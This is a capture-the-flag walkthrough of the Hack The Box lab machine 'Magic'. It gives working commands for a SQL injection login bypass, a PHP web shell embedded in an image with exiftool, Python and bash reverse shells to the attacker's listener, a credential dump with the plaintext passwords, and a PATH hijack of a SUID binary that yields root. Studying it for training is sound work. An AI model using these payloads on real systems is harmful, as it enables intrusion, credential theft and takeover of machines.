
HackTheBox - Magic
Magic from Hack The Box features a PHP-based web application which is vulnerable to SQL injection for login bypass. Embedding a web shell payload to a valid image file and adding a .php
extension to it can bypass the upload filter, and this allows me to have a code execution on the system. Enumerating the systems discovers database credentials, and the credentials are used to retrieve another credentials from the database which is reused by the user. For the root part, there’s a SUID binary that calls other binaries without their absolute path. This allows me to perform a path hijack attack and gain root access.
Skills Learned
- SQL injection
- Bypassing Upload Filter
- SUID exploitation
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- Exiftool - https://exiftool.org/
Reconnaissance
Nmap
→ root@iamf «magic» «10.10.14.169»
$ nmap -sC -sV -oA scans/magic 10.10.10.185
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap
found two ports open, an HTTP service on port 80 and SSH service on port 22
Enumeration
TCP 80 - Website
The home page shows a bunch of images.

By clicking “Views image”, I know some images located on /images/uploads
and some others on /images/fulls
. At the bottom page, there’s a login button that points to /login.php

Common credentials don’t seem to work here.
Foothold
Shell as www-data
SQL injection - Login bypass on /login.php
The login form doesn’t allows spacing between character, but it can be tricked by copy and paste.
A basic sql injection technique ' or 1 = 1 -- -
to bypass login is work against the login page.
In MySQL, a space after a comment is a must
-- [space]
, because of that I added-- -
to make it clear.
We can assume the back-end query would look like this:
...<some php>...
$username = $_POST['user']
$pwd = $_POST['password']
...<some php>...
SELECT username, password from table.user where username='$username' and password='$pwd'
If I assign ' or 1 = 1 -- -
as value of $username
, it becomes:
SELECT username, password from table.user where username='' or 1 = 1 -- -' and password='$pwd'
Upload filter bypass
Upon a successful login, the site redirects me to /upload.php
. It shows up with an upload form. It only accepts a valid image file.

After some testing, I can bypass this upload filter by embedding my php shell on an image file (I took it from the web itself). This can be done by using exiftool
.
→ root@iamf «forest» «10.10.14.169»
$ ./exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' iamf.jpg
Next, I added .php
extension right before the image extension (in my case it is .jpg
, so it becomes filename.php.jpg
).
Back to /upload.php
, now it accepts my malicious image.

I can find the uploaded file at http://htb.magic/images/uploads/
.
When I visit http://htb.magic/images/uploads/iamf.php.jpg?cmd=pwd
, I can see the code execution is working

Shell access
The machine has Python3 installed. With that, I can send a Python one liner reverse shell and set up a listener on port 443 to gain a foothold on the system.
I’ll enter this URL on the browser.
http://htb.magic/images/uploads/iamf.php.jpg?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.169%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27"
When I check my listener:
→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 19448
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Shell as theseus
Enumeration
There is a database configuration, db.php5
, that stores database credentials.
$ find . -type f -user www-data
...<SNIP>...
./var/www/Magic/db.php5
...<SNIP>...

Database dump
I can use netstat
to confirm that the MySQL server is currently running.
www-data@ubuntu:/var/www/Magic$ netstat -tlpn
...<SNIP>...
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
...<SNIP>...
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
...<SNIP>...
Unfortunately, the mysql
binary is not present in this box.

But, I could use mysqldump
to dump the database, and it contains another credentials: admin:Th3s3usW4sK1ng
.
www-data@ubuntu:/var/www/Magic$ mysqldump Magic -u theseus -p'iamkingtheseus'
...<SNIP>...
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
...<SNIP>...
Shell upgrade to SSH
It turns out that the password Th3s3usW4sK1ng
is reused by user theseus.
www-data@ubuntu:/var/www/Magic$ su theseus
Password:
theseus@ubuntu:/var/www/Magic$
Before enumeration, I would like to switch to SSH. First, I’ll generate a new SSH key.
→ root@iamf «magic» «10.10.14.169»
$ ssh-keygen -f theseus
Then, I’ll add the newly generated public key to theseus’s authorized_keys
.
theseus@ubuntu:~/.ssh$ echo 'ssh-rsa AAABBBCCCDDD' >> authorized_keys
Now I can log in via SSH.
→ root@iamf «magic» «10.10.14.169»
$ ssh -i theseus@10.10.10.185
...<SNIP>...
theseus@ubuntu:~$ id
uid=1000(theseus) gid=1000(theseus) groups=100(users),1000(theseus)
Shell as root
Enumeration
Upon enumerating for SUID, there’s a binary that doesn’t seem to be a common SUID on Ubuntu called sysinfo
.
theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null

The sysinfo
binary is owned by root, but it can be executed by the users
group and theseus
is a member of that group.
theseus@ubuntu:~$ ls -las /bin | grep sysinfo
24 -rwsr-x--- 1 root users 22040 Oct 21 2019 sysinfo
When I execute the binary and it returns some hardware information on the screen that looks similar to what lshw
, free
and other binary related to hardware info produces.

A quick search on Google shows:

So it is the same header.
Running strings
against sysinfo
reveals it calls lshw
, free
, fdisk
and some other bins without their absolute path. (I don’t have the screenshots to show what it looks like, also can’t find the logs on my notes, sorry)
- Absolute path:
/bin/sysinfo
–> fixed path, can not be modified except global write access is permitted. (cmiiw) - Relative path:
sysinfo
–> resolved by user’s environment, the path follows user’s$PWD
.
Path Hijack on SUID
Knowing the SUID binary uses relative path to call other binaries, I can abuse this by creating, for example, a fake lshw
binary that contains a reverse shell.
First thing to do is, I will create a fake lshw
in /tmp/iamf
folder and append one liner bash reverse shell.
theseus@ubuntu:/tmp$ mkdir iamf
theseus@ubuntu:/tmp$ which lshw
/bin/lshw
Next, I’ll export /tmp/iamf
to the environment variable $PATH
.
theseus@ubuntu:/tmp$ echo -e '#!/bin/sh bash -i >& /dev/tcp/10.10.10.169/1234 0>&1' > iamf/lshw
theseus@ubuntu:/tmp$ export PATH=/tmp/iamf:$PATH
Now If I call lshw
, the OS will resolve it to the one on /tmp/iamf
.
theseus@ubuntu:/tmp$ which lshw
/tmp/iamf/lshw
After that, I can just execute the sysinfo
binary. However, it then just hangs.
theseus@ubuntu:/tmp$ sysinfo
====================Hardware Info====================
That is because its execution is interrupted by the reverse shell. I’m rooted now.
→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 36094
root@ubuntu:/tmp/iamf# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
